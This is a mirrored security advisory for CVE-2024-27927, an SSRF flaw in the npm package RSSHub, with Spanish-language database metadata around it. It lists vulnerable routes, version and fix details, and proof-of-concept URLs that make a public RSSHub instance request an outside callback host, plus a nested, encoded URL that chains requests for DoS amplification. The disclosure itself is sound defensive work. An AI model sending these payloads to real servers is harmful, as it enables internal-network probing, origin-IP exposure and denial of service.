RSSHub vulnerable to Server-Side Request Forgery
Summary
Serveral Server-Side Request Forgery (SSRF) vulnerabilities in RSSHub allow remote attackers to use the server as a proxy to send HTTP GET requests to arbitrary targets and retrieve information in the internal network or conduct Denial-of-Service (DoS) attacks.
Details
/mastodon/acct/:acct/statuses/:only_media?
/zjol/paper/:id?
/m4/:id?/:category*
PoC
- https://rsshub.app/mastodon/acct/test@a6wt15r2.requestrepo.com%23/statuses
- https://rsshub.app/zjol/paper/a6wt15r2.requestrepo.com%23
- https://rsshub.app/m4/a6wt15r2.requestrepo.com%23/test
Impact
The attacker can send malicious requests to a RSSHub server, to make the server send HTTP GET requests to arbitrary destinations and see partial responses. This may lead to:
- Leak the server IP address, which could be hidden behind a CDN.
- Retrieve information in the internal network. e.g. which addresses/ports are accessible, the titles and meta descriptions of HTML pages.
- DoS amplification. The attacker could request the server to download some large files, or chain several SSRF requests in a single attacker request:
https://rsshub.a.com/zjol/paper/rsshub.b.net%2Fzjol%2Fpaper%2Frsshub.a.com%252Fzjol%252Fpaper%252Frsshub.b.net%25252Fzjol%25252Fpaper%25252Frsshub.a.com%2525252Fzjol%2525252Fpaper%2525252Fexample.com%2525252523%25252523%252523%2523%23.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | rsshub | < 1.0.0-master.a429472 | 1.0.0-master.a429472 |
Referencias
- https://github.com/DIYgod/RSSHub/security/advisories/GHSA-3p3p-cgj7-vgw3
- https://nvd.nist.gov/vuln/detail/CVE-2024-27927
- https://github.com/DIYgod/RSSHub/commit/a42947231104a9ec3436fc52cedb31740c9a7069
- https://github.com/DIYgod/RSSHub
- https://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/m4/index.js#L10-L14
- https://github.com/DIYgod/RSSHub/blob/172f6cfd2b69ea6affdbdedf61e6dde1671f3796/lib/routes/zjol/paper.js#L7-L13
- https://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/acct.js#L4-L7
- https://github.com/DIYgod/RSSHub/blob/5928c5db2472e101c2f5c3bafed77a2f72edd40a/lib/routes/mastodon/utils.js#L85-L105
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L- Debilidad (CWE)
CWE-918- Plataforma
- npm
- Paquete
rsshub- Publicada
- 06.03.2024
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-3p3p-cgj7-vgw3 - CC BY 4.0
Historial de vulnerabilidades: rsshub
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 6
- Primera → última
- 10.2021 03.2024
- Sin corrección
- 2
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 2
- Media 4
Divulgaciones por año
- 2021: 1
- 2022: 1
- 2023: 2
- 2024: 2
- 2025: 0
- 2026: 0
-
RSSHub vulnerable to Server-Side Request Forgery esta entrada
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